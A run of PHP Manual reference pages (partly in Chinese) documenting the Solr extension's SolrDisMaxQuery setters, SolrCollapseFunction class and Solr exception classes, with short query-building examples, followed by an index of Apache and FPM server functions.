public SolrDisMaxQuery::setMinimumMatch(string $value): SolrDisMaxQuery

Set Minimum "Should" Match parameter (mm). If the default query operator is AND then mm=100%, if the default query operator (q.op) is OR, then mm=0%.

参数

value

Minimum match value/expression

返回值

SolrDisMaxQuery

示例

Example #1 SolrDisMaxQuery::setMinimumMatch() example

<?php

$dismaxQuery = new SolrDisMaxQuery("lucene");
// 75% of the query clauses must match
$dismaxQuery->setMinimumMatch("75%");
echo $dismaxQuery . PHP_EOL;

?>

以上示例会输出：

q=lucene&defType=edismax&mm=75%

User Contributed Notes

There are no user contributed notes for this page.


Sets Phrase Fields and their boosts (and slops) using pf2 parameter

  • ? SolrDisMaxQuery::setMinimumMatch
  • SolrDisMaxQuery::setPhraseSlop ?
  • PHP Manual
  • SolrDisMaxQuery
  • Sets Phrase Fields and their boosts (and slops) using pf2 parameter

SolrDisMaxQuery::setPhraseFields

(No version information available, might only be in Git)

SolrDisMaxQuery::setPhraseFields — Sets Phrase Fields and their boosts (and slops) using pf2 parameter

说明

public SolrDisMaxQuery::setPhraseFields(string $fields): SolrDisMaxQuery

Sets Phrase Fields (pf) and their boosts (and slops)

参数

fields

Fields, boosts [, slops]

返回值

SolrDisMaxQuery

示例

Example #1 SolrDisMaxQuery::setPhraseFields() example

<?php
$dismaxQuery = new SolrDisMaxQuery("lucene");
$dismaxQuery->setPhraseFields("cat~5.1^2 feature^4.5");
echo $dismaxQuery.PHP_EOL;

?>

以上示例的输出类似于：

q=lucene&defType=edismax&pf=cat~5.1^2 feature^4.5

参见

  • SolrDisMaxQuery::addPhraseFields()
  • SolrDisMaxQuery::removePhraseField() - Removes a Phrase Field (pf parameter)

User Contributed Notes

There are no user contributed notes for this page.


Sets the default slop on phrase queries (ps parameter)

  • ? SolrDisMaxQuery::setPhraseFields
  • SolrDisMaxQuery::setQueryAlt ?
  • PHP Manual
  • SolrDisMaxQuery
  • Sets the default slop on phrase queries (ps parameter)

SolrDisMaxQuery::setPhraseSlop

(No version information available, might only be in Git)

SolrDisMaxQuery::setPhraseSlop — Sets the default slop on phrase queries (ps parameter)

说明

public SolrDisMaxQuery::setPhraseSlop(string $slop): SolrDisMaxQuery

Sets the default amount of slop on phrase queries built with "pf", "pf2" and/or "pf3" fields (affects boosting). "ps" parameter

参数

slop

返回值

SolrDisMaxQuery

示例

Example #1 SolrDisMaxQuery::setPhraseSlop() example

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');

$dismaxQuery->setPhraseSlop(4);
echo $dismaxQuery.PHP_EOL;

?>

以上示例会输出：

q=lucene&defType=edismax&ps=4

User Contributed Notes

There are no user contributed notes for this page.


Set Query Alternate (q.alt parameter)

  • ? SolrDisMaxQuery::setPhraseSlop
  • SolrDisMaxQuery::setQueryPhraseSlop ?
  • PHP Manual
  • SolrDisMaxQuery
  • Set Query Alternate (q.alt parameter)

SolrDisMaxQuery::setQueryAlt

(No version information available, might only be in Git)

SolrDisMaxQuery::setQueryAlt — Set Query Alternate (q.alt parameter)

说明

public SolrDisMaxQuery::setQueryAlt(string $q): SolrDisMaxQuery

Set Query Alternate (q.alt parameter)

When the main q parameter is not specified or is blank. The q.alt parameter is used

参数

q

Query String

返回值

SolrDisMaxQuery

示例

Example #1 SolrDisMaxQuery::setQueryAlt() example

<?php

$dismaxQuery = new DisMaxQuery();
$dismaxQuery->setQueryAlt('*:*');

?>

以上示例的输出类似于：

defType=edismax&q.alt=*:*&q=

User Contributed Notes

There are no user contributed notes for this page.


Specifies the amount of slop permitted on phrase queries explicitly included in the user's query string (qf parameter)

  • ? SolrDisMaxQuery::setQueryAlt
  • SolrDisMaxQuery::setTieBreaker ?
  • PHP Manual
  • SolrDisMaxQuery
  • Specifies the amount of slop permitted on phrase queries explicitly included in the user's query string (qf parameter)

SolrDisMaxQuery::setQueryPhraseSlop

(No version information available, might only be in Git)

SolrDisMaxQuery::setQueryPhraseSlop — Specifies the amount of slop permitted on phrase queries explicitly included in the user's query string (qf parameter)

说明

public SolrDisMaxQuery::setQueryPhraseSlop(string $slop): SolrDisMaxQuery

The Query Phrase Slop is the amount of slop permitted on phrase queries explicitly included in the user's query string with the qf parameter.

slop refers to the number of positions one token needs to be moved in relation to another token in order to match a phrase specified in a query.

参数

slop

Amount of slop

返回值

SolrDisMaxQuery

示例

Example #1 SolrDisMaxQuery::setQueryPhraseSlop() example

<?php

$dismaxQuery = new SolrDisMaxQuery();
$dismaxQuery->setQueryPhraseSlop(3);
echo $dismaxQuery;
?>

以上示例的输出类似于：

defType=edismax&qs=3

User Contributed Notes

There are no user contributed notes for this page.


Sets Tie Breaker parameter (tie parameter)

  • ? SolrDisMaxQuery::setQueryPhraseSlop
  • SolrDisMaxQuery::setTrigramPhraseFields ?
  • PHP Manual
  • SolrDisMaxQuery
  • Sets Tie Breaker parameter (tie parameter)

SolrDisMaxQuery::setTieBreaker

(No version information available, might only be in Git)

SolrDisMaxQuery::setTieBreaker — Sets Tie Breaker parameter (tie parameter)

说明

public SolrDisMaxQuery::setTieBreaker(string $tieBreaker): SolrDisMaxQuery

Sets Tie Breaker parameter (tie parameter)

参数

tieBreaker

The tie parameter specifies a float value (which should be something much less than 1) to use as tiebreaker in DisMax queries.

返回值

SolrDisMaxQuery

示例

Example #1 SolrDisMaxQuery::setTieBreaker() example

<?php

$dismaxQuery = new SolrDisMaxQuery();
$dismaxQuery->setTieBreaker(0.1);

echo $dismaxQuery;

?>

以上示例会输出：

defType=edismax&tie=0.1

User Contributed Notes

There are no user contributed notes for this page.


Directly Sets Trigram Phrase Fields (pf3 parameter)

  • ? SolrDisMaxQuery::setTieBreaker
  • SolrDisMaxQuery::setTrigramPhraseSlop ?
  • PHP Manual
  • SolrDisMaxQuery
  • Directly Sets Trigram Phrase Fields (pf3 parameter)

SolrDisMaxQuery::setTrigramPhraseFields

(No version information available, might only be in Git)

SolrDisMaxQuery::setTrigramPhraseFields — Directly Sets Trigram Phrase Fields (pf3 parameter)

说明

public SolrDisMaxQuery::setTrigramPhraseFields(string $fields): SolrDisMaxQuery

Directly Sets Trigram Phrase Fields (pf3 parameter)

参数

fields

Trigram Phrase Fields

返回值

SolrDisMaxQuery

示例

Example #1 SolrDisMaxQuery::setTrigramPhraseFields() example

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');
$dismaxQuery->setTrigramPhraseFields('cat~5.1^2 feature^4.5');
echo $dismaxQuery.PHP_EOL;

?>

以上示例会输出：

q=lucene&defType=edismax&pf3=cat~5.1^2 feature^4.5

参见

  • SolrDisMaxQuery::addTrigramPhraseField() - Adds a Trigram Phrase Field (pf3 parameter)
  • SolrDisMaxQuery::removeTrigramPhraseField() - Removes a Trigram Phrase Field (pf3 parameter)
  • SolrDisMaxQuery::setTrigramPhraseSlop() - Sets Trigram Phrase Slop (ps3 parameter)

User Contributed Notes

There are no user contributed notes for this page.


Sets Trigram Phrase Slop (ps3 parameter)

  • ? SolrDisMaxQuery::setTrigramPhraseFields
  • SolrDisMaxQuery::setUserFields ?
  • PHP Manual
  • SolrDisMaxQuery
  • Sets Trigram Phrase Slop (ps3 parameter)

SolrDisMaxQuery::setTrigramPhraseSlop

(No version information available, might only be in Git)

SolrDisMaxQuery::setTrigramPhraseSlop — Sets Trigram Phrase Slop (ps3 parameter)

说明

public SolrDisMaxQuery::setTrigramPhraseSlop(string $slop): SolrDisMaxQuery

Sets Trigram Phrase Slop (ps3 parameter)

参数

slop

Phrase slop

返回值

SolrDisMaxQuery

示例

Example #1 SolrDisMaxQuery::setTrigramPhraseSlop() example

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');
$dismaxQuery->setTrigramPhraseSlop(2);
echo $dismaxQuery.PHP_EOL;

?>

以上示例的输出类似于：

q=lucene&defType=edismax&ps3=2

参见

  • SolrDisMaxQuery::addTrigramPhraseField() - Adds a Trigram Phrase Field (pf3 parameter)
  • SolrDisMaxQuery::removeTrigramPhraseField() - Removes a Trigram Phrase Field (pf3 parameter)
  • SolrDisMaxQuery::setTrigramPhraseFields() - Directly Sets Trigram Phrase Fields (pf3 parameter)

User Contributed Notes

There are no user contributed notes for this page.


Sets User Fields parameter (uf)

  • ? SolrDisMaxQuery::setTrigramPhraseSlop
  • SolrDisMaxQuery::useDisMaxQueryParser ?
  • PHP Manual
  • SolrDisMaxQuery
  • Sets User Fields parameter (uf)

SolrDisMaxQuery::setUserFields

(No version information available, might only be in Git)

SolrDisMaxQuery::setUserFields — Sets User Fields parameter (uf)

说明

public SolrDisMaxQuery::setUserFields(string $fields): SolrDisMaxQuery

Sets User Fields parameter (uf)

User Fields: Specifies which schema fields the end user shall be allowed to query.

参数

fields

Fields names separated by space

This parameter supports wildcards.

返回值

SolrDisMaxQuery

示例

Example #1 SolrDisMaxQuery::setUserFields() example

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');
$dismaxQuery->setUserFields('field1 field2 *_txt');
echo $dismaxQuery.PHP_EOL;

?>

以上示例的输出类似于：

q=lucene&defType=edismax&uf=field1 field2 *_txt

参见

  • SolrDisMaxQuery::addUserField() - Adds a field to User Fields Parameter (uf)
  • SolrDisMaxQuery::removeUserField() - Removes a field from The User Fields Parameter (uf)

User Contributed Notes

There are no user contributed notes for this page.


Switch QueryParser to be DisMax Query Parser

  • ? SolrDisMaxQuery::setUserFields
  • SolrDisMaxQuery::useEDisMaxQueryParser ?
  • PHP Manual
  • SolrDisMaxQuery
  • Switch QueryParser to be DisMax Query Parser

SolrDisMaxQuery::useDisMaxQueryParser

(No version information available, might only be in Git)

SolrDisMaxQuery::useDisMaxQueryParser — Switch QueryParser to be DisMax Query Parser

说明

public SolrDisMaxQuery::useDisMaxQueryParser(): SolrDisMaxQuery

Switch QueryParser to be DisMax Query Parser

参数

此函数没有参数。

返回值

SolrDisMaxQuery

示例

Example #1 SolrDisMaxQuery::useDisMaxQueryParser() example

<?php

$dismaxQuery = new SolrDisMaxQuery();
$dismaxQuery->useDisMaxQueryParser();
echo $dismaxQuery;
?>

以上示例的输出类似于：

defType=dismax

参见

  • SolrDisMaxQuery::useDisMaxQueryParser()

User Contributed Notes

There are no user contributed notes for this page.


Switch QueryParser to be EDisMax

  • ? SolrDisMaxQuery::useDisMaxQueryParser
  • SolrCollapseFunction ?
  • PHP Manual
  • SolrDisMaxQuery
  • Switch QueryParser to be EDisMax

SolrDisMaxQuery::useEDisMaxQueryParser

(No version information available, might only be in Git)

SolrDisMaxQuery::useEDisMaxQueryParser — Switch QueryParser to be EDisMax

说明

public SolrDisMaxQuery::useEDisMaxQueryParser(): SolrDisMaxQuery

Switch QueryParser to be EDisMax. By default the query builder uses edismax, if it was switched using SolrDisMaxQuery::useDisMaxQueryParser(), it can be switched back using this method.

参数

此函数没有参数。

返回值

SolrDisMaxQuery

示例

Example #1 SolrDisMaxQuery::useEDisMaxQueryParser() example

<?php

$dismaxQuery = new SolrDisMaxQuery();
$dismaxQuery->useEDisMaxQueryParser();
echo $dismaxQuery;

?>

以上示例的输出类似于：

defType=edismax

User Contributed Notes

There are no user contributed notes for this page.


The SolrCollapseFunction class

(PECL solr >= 2.2.0)

简介

类摘要

class SolrCollapseFunction {
/* 常量 */
const string NULLPOLICY_IGNORE = ignore;
const string NULLPOLICY_EXPAND = expand;
const string NULLPOLICY_COLLAPSE = collapse;
/* 方法 */
public __construct(string $field = ?)
public getField(): string
public getHint(): string
public getMax(): string
public getMin(): string
public getNullPolicy(): string
public getSize(): int
public setField(string $fieldName): SolrCollapseFunction
public setHint(string $hint): SolrCollapseFunction
public setMax(string $max): SolrCollapseFunction
public setMin(string $min): SolrCollapseFunction
public setNullPolicy(string $nullPolicy): SolrCollapseFunction
public setSize(int $size): SolrCollapseFunction
public __toString(): string
}

预定义常量

SolrCollapseFunction::NULLPOLICY_IGNORE

SolrCollapseFunction::NULLPOLICY_EXPAND

SolrCollapseFunction::NULLPOLICY_COLLAPSE

Table of Contents

  • SolrCollapseFunction::__construct — Constructor
  • SolrCollapseFunction::getField — Returns the field that is being collapsed on
  • SolrCollapseFunction::getHint — Returns collapse hint
  • SolrCollapseFunction::getMax — Returns max parameter
  • SolrCollapseFunction::getMin — Returns min parameter
  • SolrCollapseFunction::getNullPolicy — Returns null policy
  • SolrCollapseFunction::getSize — Returns size parameter
  • SolrCollapseFunction::setField — Sets the field to collapse on
  • SolrCollapseFunction::setHint — Sets collapse hint
  • SolrCollapseFunction::setMax — Selects the group heads by the max value of a numeric field or function query
  • SolrCollapseFunction::setMin — Sets the initial size of the collapse data structures when collapsing on a numeric field only
  • SolrCollapseFunction::setNullPolicy — Sets the NULL Policy
  • SolrCollapseFunction::setSize — Sets the initial size of the collapse data structures when collapsing on a numeric field only
  • SolrCollapseFunction::__toString — Returns a string representing the constructed collapse function

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • ? SolrCollapseFunction
  • SolrCollapseFunction::getField ?
  • PHP Manual
  • SolrCollapseFunction
  • Constructor

SolrCollapseFunction::__construct

(PECL solr >= 2.2.0)

SolrCollapseFunction::__construct — Constructor

说明

public SolrCollapseFunction::__construct(string $field = ?)

Collapse Function constructor

参数

field

The field name to collapse on.

In order to collapse a result. The field type must be a single valued String, Int or Float.

示例

Example #1 SolrCollapseFunction::__construct() example

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
'path' => SOLR_SERVER_PATH
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$func = new SolrCollapseFunction('field_name');

$func->setMax('sum(cscore(),field(some_other_field))');
$func->setSize(100);
$func->setNullPolicy(SolrCollapseFunction::NULLPOLICY_EXPAND);

$query->collapse($func);

$queryResponse = $client->query($query);

$response = $queryResponse->getResponse();

print_r($response);

?>

参见

  • SolrQuery::collapse() - Collapses the result set to a single document per group

User Contributed Notes

There are no user contributed notes for this page.


Returns the field that is being collapsed on

  • ? SolrCollapseFunction::__construct
  • SolrCollapseFunction::getHint ?
  • PHP Manual
  • SolrCollapseFunction
  • Returns the field that is being collapsed on

SolrCollapseFunction::getField

(PECL solr >= 2.2.0)

SolrCollapseFunction::getField — Returns the field that is being collapsed on

说明

public SolrCollapseFunction::getField(): string

Returns the field that is being collapsed on.

参数

此函数没有参数。

返回值

参见

  • SolrCollapseFunction::setField() - Sets the field to collapse on

User Contributed Notes

There are no user contributed notes for this page.


Returns collapse hint

  • ? SolrCollapseFunction::getField
  • SolrCollapseFunction::getMax ?
  • PHP Manual
  • SolrCollapseFunction
  • Returns collapse hint

SolrCollapseFunction::getHint

(PECL solr >= 2.2.0)

SolrCollapseFunction::getHint — Returns collapse hint

说明

public SolrCollapseFunction::getHint(): string

Returns collapse hint

参数

此函数没有参数。

返回值

参见

  • SolrCollapseFunction::setHint() - Sets collapse hint

User Contributed Notes

There are no user contributed notes for this page.


Returns max parameter

  • ? SolrCollapseFunction::getHint
  • SolrCollapseFunction::getMin ?
  • PHP Manual
  • SolrCollapseFunction
  • Returns max parameter

SolrCollapseFunction::getMax

(PECL solr >= 2.2.0)

SolrCollapseFunction::getMax — Returns max parameter

说明

public SolrCollapseFunction::getMax(): string

Returns max parameter

参数

此函数没有参数。

返回值

参见

  • SolrCollapseFunction::setMax() - Selects the group heads by the max value of a numeric field or function query

User Contributed Notes

There are no user contributed notes for this page.


Returns min parameter

  • ? SolrCollapseFunction::getMax
  • SolrCollapseFunction::getNullPolicy ?
  • PHP Manual
  • SolrCollapseFunction
  • Returns min parameter

SolrCollapseFunction::getMin

(PECL solr >= 2.2.0)

SolrCollapseFunction::getMin — Returns min parameter

说明

public SolrCollapseFunction::getMin(): string

Returns min parameter

参数

此函数没有参数。

返回值

参见

  • SolrCollapseFunction::setMin() - Sets the initial size of the collapse data structures when collapsing on a numeric field only

User Contributed Notes

There are no user contributed notes for this page.


Returns null policy

  • ? SolrCollapseFunction::getMin
  • SolrCollapseFunction::getSize ?
  • PHP Manual
  • SolrCollapseFunction
  • Returns null policy

SolrCollapseFunction::getNullPolicy

(PECL solr >= 2.2.0)

SolrCollapseFunction::getNullPolicy — Returns null policy

说明

public SolrCollapseFunction::getNullPolicy(): string

Returns null policy used or null

参数

此函数没有参数。

返回值

参见

  • SolrCollapseFunction::setNullPolicy() - Sets the NULL Policy

User Contributed Notes

There are no user contributed notes for this page.


Returns size parameter

  • ? SolrCollapseFunction::getNullPolicy
  • SolrCollapseFunction::setField ?
  • PHP Manual
  • SolrCollapseFunction
  • Returns size parameter

SolrCollapseFunction::getSize

(PECL solr >= 2.2.0)

SolrCollapseFunction::getSize — Returns size parameter

说明

public SolrCollapseFunction::getSize(): int

Gets the initial size of the collapse data structures when collapsing on a numeric field only

参数

此函数没有参数。

返回值

参见

  • SolrCollapseFunction::setSize() - Sets the initial size of the collapse data structures when collapsing on a numeric field only

User Contributed Notes

There are no user contributed notes for this page.


Sets the field to collapse on

  • ? SolrCollapseFunction::getSize
  • SolrCollapseFunction::setHint ?
  • PHP Manual
  • SolrCollapseFunction
  • Sets the field to collapse on

SolrCollapseFunction::setField

(PECL solr >= 2.2.0)

SolrCollapseFunction::setField — Sets the field to collapse on

说明

public SolrCollapseFunction::setField(string $fieldName): SolrCollapseFunction

The field name to collapse on. In order to collapse a result. The field type must be a single valued String, Int or Float.

参数

fieldName

返回值

SolrCollapseFunction

User Contributed Notes

There are no user contributed notes for this page.


Sets collapse hint

  • ? SolrCollapseFunction::setField
  • SolrCollapseFunction::setMax ?
  • PHP Manual
  • SolrCollapseFunction
  • Sets collapse hint

SolrCollapseFunction::setHint

(PECL solr >= 2.2.0)

SolrCollapseFunction::setHint — Sets collapse hint

说明

public SolrCollapseFunction::setHint(string $hint): SolrCollapseFunction

Sets collapse hint

参数

hint

Currently there is only one hint available "top_fc", which stands for top level FieldCache

返回值

SolrCollapseFunction

示例

Example #1 SolrCollapseFunction::setHint() example

<?php

/* ... */

?>

以上示例的输出类似于：

...

User Contributed Notes

There are no user contributed notes for this page.


Selects the group heads by the max value of a numeric field or function query

  • ? SolrCollapseFunction::setHint
  • SolrCollapseFunction::setMin ?
  • PHP Manual
  • SolrCollapseFunction
  • Selects the group heads by the max value of a numeric field or function query

SolrCollapseFunction::setMax

(PECL solr >= 2.2.0)

SolrCollapseFunction::setMax — Selects the group heads by the max value of a numeric field or function query

说明

public SolrCollapseFunction::setMax(string $max): SolrCollapseFunction

Selects the group heads by the max value of a numeric field or function query.

参数

max

返回值

SolrCollapseFunction

示例

Example #1 SolrCollapseFunction::setMax() example

<?php

$func = new SolrCollapseFunction('field_name');

$func->setMax('sum(cscore(),field(some_field))');

$query = new SolrQuery('*:*');

$query->collapse($func);

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the initial size of the collapse data structures when collapsing on a numeric field only

  • ? SolrCollapseFunction::setMax
  • SolrCollapseFunction::setNullPolicy ?
  • PHP Manual
  • SolrCollapseFunction
  • Sets the initial size of the collapse data structures when collapsing on a numeric field only

SolrCollapseFunction::setMin

(PECL solr >= 2.2.0)

SolrCollapseFunction::setMin — Sets the initial size of the collapse data structures when collapsing on a numeric field only

说明

public SolrCollapseFunction::setMin(string $min): SolrCollapseFunction

Sets the initial size of the collapse data structures when collapsing on a numeric field only

参数

min

返回值

SolrCollapseFunction

User Contributed Notes

There are no user contributed notes for this page.


Sets the NULL Policy

  • ? SolrCollapseFunction::setMin
  • SolrCollapseFunction::setSize ?
  • PHP Manual
  • SolrCollapseFunction
  • Sets the NULL Policy

SolrCollapseFunction::setNullPolicy

(PECL solr >= 2.2.0)

SolrCollapseFunction::setNullPolicy — Sets the NULL Policy

说明

public SolrCollapseFunction::setNullPolicy(string $nullPolicy): SolrCollapseFunction

Sets the NULL Policy. One of the 3 policies defined as class constants shall be passed. Accepts ignore, expand, or collapse policies.

参数

nullPolicy

返回值

SolrCollapseFunction

User Contributed Notes

There are no user contributed notes for this page.


Sets the initial size of the collapse data structures when collapsing on a numeric field only

  • ? SolrCollapseFunction::setNullPolicy
  • SolrCollapseFunction::__toString ?
  • PHP Manual
  • SolrCollapseFunction
  • Sets the initial size of the collapse data structures when collapsing on a numeric field only

SolrCollapseFunction::setSize

(PECL solr >= 2.2.0)

SolrCollapseFunction::setSize — Sets the initial size of the collapse data structures when collapsing on a numeric field only

说明

public SolrCollapseFunction::setSize(int $size): SolrCollapseFunction

Sets the initial size of the collapse data structures when collapsing on a numeric field only.

参数

size

返回值

SolrCollapseFunction

User Contributed Notes

There are no user contributed notes for this page.


Returns a string representing the constructed collapse function

  • ? SolrCollapseFunction::setSize
  • SolrException ?
  • PHP Manual
  • SolrCollapseFunction
  • Returns a string representing the constructed collapse function

SolrCollapseFunction::__toString

(PECL solr >= 2.2.0)

SolrCollapseFunction::__toString — Returns a string representing the constructed collapse function

说明

public SolrCollapseFunction::__toString(): string

Returns a string representing the constructed collapse function

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The SolrException class

(PECL solr >= 0.9.2)

简介

This is the base class for all exception thrown by the Solr extension classes.

类摘要

class SolrException extends Exception {
/* 属性 */
protected int $sourceline;
protected string $sourcefile;
protected string $zif_name;
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 方法 */
public getInternalInfo(): array
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

属性

sourceline

The line in c-space source file where exception was generated

sourcefile

The c-space source file where exception was generated

zif_name

The c-space function where exception was generated

Table of Contents

  • SolrException::getInternalInfo — Returns internal information where the Exception was thrown

User Contributed Notes

There are no user contributed notes for this page.


Returns internal information where the Exception was thrown

  • ? SolrException
  • SolrClientException ?
  • PHP Manual
  • SolrException
  • Returns internal information where the Exception was thrown

SolrException::getInternalInfo

(PECL solr >= 0.9.2)

SolrException::getInternalInfo — Returns internal information where the Exception was thrown

说明

public SolrException::getInternalInfo(): array

Returns internal information where the Exception was thrown.

参数

此函数没有参数。

返回值

Returns an array containing internal information where the error was thrown. Used only for debugging by extension developers.

User Contributed Notes

There are no user contributed notes for this page.


The SolrClientException class

(PECL solr >= 0.9.2)

简介

An exception thrown when there is an error while making a request to the server from the client.

类摘要

class SolrClientException extends SolrException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
protected int $sourceline;
protected string $sourcefile;
protected string $zif_name;
/* 方法 */
public getInternalInfo(): array
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
public SolrException::getInternalInfo(): array
}

Table of Contents

  • SolrClientException::getInternalInfo — Returns internal information where the Exception was thrown

User Contributed Notes

There are no user contributed notes for this page.


Returns internal information where the Exception was thrown

  • ? SolrClientException
  • SolrServerException ?
  • PHP Manual
  • SolrClientException
  • Returns internal information where the Exception was thrown

SolrClientException::getInternalInfo

(PECL solr >= 0.9.2)

SolrClientException::getInternalInfo — Returns internal information where the Exception was thrown

说明

public SolrClientException::getInternalInfo(): array

Returns internal information where the Exception was thrown.

参数

此函数没有参数。

返回值

Returns an array containing internal information where the error was thrown. Used only for debugging by extension developers.

User Contributed Notes

There are no user contributed notes for this page.


The SolrServerException class

(PECL Solr >= 1.1.0, >=2.0.0)

简介

An exception thrown when there is an error produced by the Solr Server itself.

类摘要

class SolrServerException extends SolrException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
protected int $sourceline;
protected string $sourcefile;
protected string $zif_name;
/* 方法 */
public getInternalInfo(): array
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
public SolrException::getInternalInfo(): array
}

Table of Contents

  • SolrServerException::getInternalInfo — Returns internal information where the Exception was thrown

User Contributed Notes

There are no user contributed notes for this page.


Returns internal information where the Exception was thrown

  • ? SolrServerException
  • SolrIllegalArgumentException ?
  • PHP Manual
  • SolrServerException
  • Returns internal information where the Exception was thrown

SolrServerException::getInternalInfo

(PECL solr >= 1.1.0, >=2.0.0)

SolrServerException::getInternalInfo — Returns internal information where the Exception was thrown

说明

public SolrServerException::getInternalInfo(): array

Returns internal information where the Exception was thrown.

参数

此函数没有参数。

返回值

Returns an array containing internal information where the error was thrown. Used only for debugging by extension developers.

User Contributed Notes

There are no user contributed notes for this page.


The SolrIllegalArgumentException class

(PECL solr >= 0.9.2)

简介

This object is thrown when an illegal or invalid argument is passed to a method.

类摘要

class SolrIllegalArgumentException extends SolrException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
protected int $sourceline;
protected string $sourcefile;
protected string $zif_name;
/* 方法 */
public getInternalInfo(): array
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
public SolrException::getInternalInfo(): array
}

Table of Contents

  • SolrIllegalArgumentException::getInternalInfo — Returns internal information where the Exception was thrown

User Contributed Notes

There are no user contributed notes for this page.


Returns internal information where the Exception was thrown

  • ? SolrIllegalArgumentException
  • SolrIllegalOperationException ?
  • PHP Manual
  • SolrIllegalArgumentException
  • Returns internal information where the Exception was thrown

SolrIllegalArgumentException::getInternalInfo

(PECL solr >= 0.9.2)

SolrIllegalArgumentException::getInternalInfo — Returns internal information where the Exception was thrown

说明

public SolrIllegalArgumentException::getInternalInfo(): array

Returns internal information where the Exception was thrown.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

Returns an array containing internal information where the error was thrown. Used only for debugging by extension developers.

User Contributed Notes

There are no user contributed notes for this page.


The SolrIllegalOperationException class

(PECL solr >= 0.9.2)

简介

This object is thrown when an illegal or unsupported operation is performed on an object.

类摘要

class SolrIllegalOperationException extends SolrException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
protected int $sourceline;
protected string $sourcefile;
protected string $zif_name;
/* 方法 */
public getInternalInfo(): array
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
public SolrException::getInternalInfo(): array
}

Table of Contents

  • SolrIllegalOperationException::getInternalInfo — Returns internal information where the Exception was thrown

User Contributed Notes

There are no user contributed notes for this page.


Returns internal information where the Exception was thrown

  • ? SolrIllegalOperationException
  • SolrMissingMandatoryParameterException ?
  • PHP Manual
  • SolrIllegalOperationException
  • Returns internal information where the Exception was thrown

SolrIllegalOperationException::getInternalInfo

(PECL solr >= 0.9.2)

SolrIllegalOperationException::getInternalInfo — Returns internal information where the Exception was thrown

说明

public SolrIllegalOperationException::getInternalInfo(): array

Returns internal information where the Exception was thrown.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

Returns an array containing internal information where the error was thrown. Used only for debugging by extension developers.

User Contributed Notes

There are no user contributed notes for this page.


The SolrMissingMandatoryParameterException class

(No version information available, might only be in Git)

简介

类摘要

class SolrMissingMandatoryParameterException extends SolrException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
protected int $sourceline;
protected string $sourcefile;
protected string $zif_name;
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
public SolrException::getInternalInfo(): array
}

User Contributed Notes

There are no user contributed notes for this page.


针对服务器的扩展

  • Apache
    • 简介
    • 安装/配置
    • 预定义常量
    • Apache 函数
  • FastCGI 进程管理器
    • 简介
    • 安装/配置
    • 可观察性
    • FPM 函数

User Contributed Notes

There are no user contributed notes for this page.


Apache

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Apache 函数
    • apache_child_terminate — 在本次请求结束后终止 apache 子进程
    • apache_get_modules — 获得已加载的Apache模块列表
    • apache_get_version — 获得Apache版本信息
    • apache_getenv — 获取 Apache subprocess_env 变量
    • apache_lookup_uri — 对指定的 URI 执行部分请求并返回所有有关信息
    • apache_note — 取得或设置 apache 请求记录
    • apache_request_headers — 获取全部 HTTP 请求头信息
    • apache_response_headers — 获得全部 HTTP 响应头信息
    • apache_setenv — 设置 Apache 子进程环境变量
    • getallheaders — 获取全部 HTTP 请求头信息
    • virtual — 执行 Apache 子请求

User Contributed Notes

There are no user contributed notes for this page.


简介

这些函数仅在 PHP 以 Apache 模块运行时有效。

User Contributed Notes

There are no user contributed notes for this page.


